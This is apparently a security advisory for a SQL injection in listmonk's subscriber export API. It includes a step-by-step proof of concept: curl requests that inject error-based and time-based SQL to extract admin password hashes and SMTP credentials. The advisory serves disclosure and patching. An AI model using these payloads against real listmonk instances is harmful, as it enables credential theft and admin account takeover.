Vulnerability GHSA-xgjr-7j9q-2h4r

Medium Risk
MEDIUM RISK
CVSS Score: 5.5
Score Range: 4.0–6.9
Medium severity vulnerabilities (CVSS 4.0–6.9). Important issues that meaningfully reduce security confidence.
2 hours ago
November 06, 2026 at 06:15 PM UTC
listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials
<1.1.1-0.20260619102436-c0a6525009a6
<1.1.1-0.20260619102436-c0a6525009a6

Summary

listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentials

Details

Summary

A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.

PoC

Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.

Step 1 — Confirm the bypass (blocked on query, open on export):

# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}

# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error

Step 2 — Error-based exfiltration of admin password hash:

curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
  -H "Cookie: session=SESSION_TOKEN"

Response:

{
  "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}

Step 3 — Error-based exfiltration of SMTP credentials:

curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
  -H "Cookie: session=SESSION_TOKEN"

Response:

{
  "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}

Step 4 — Time-based blind confirmation:

time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution

Impacted packages

Timeline

Published
2 hours ago
November 06, 2026 at 06:15 PM UTC
Last Modified
1 hour ago
November 06, 2026 at 06:30 PM UTC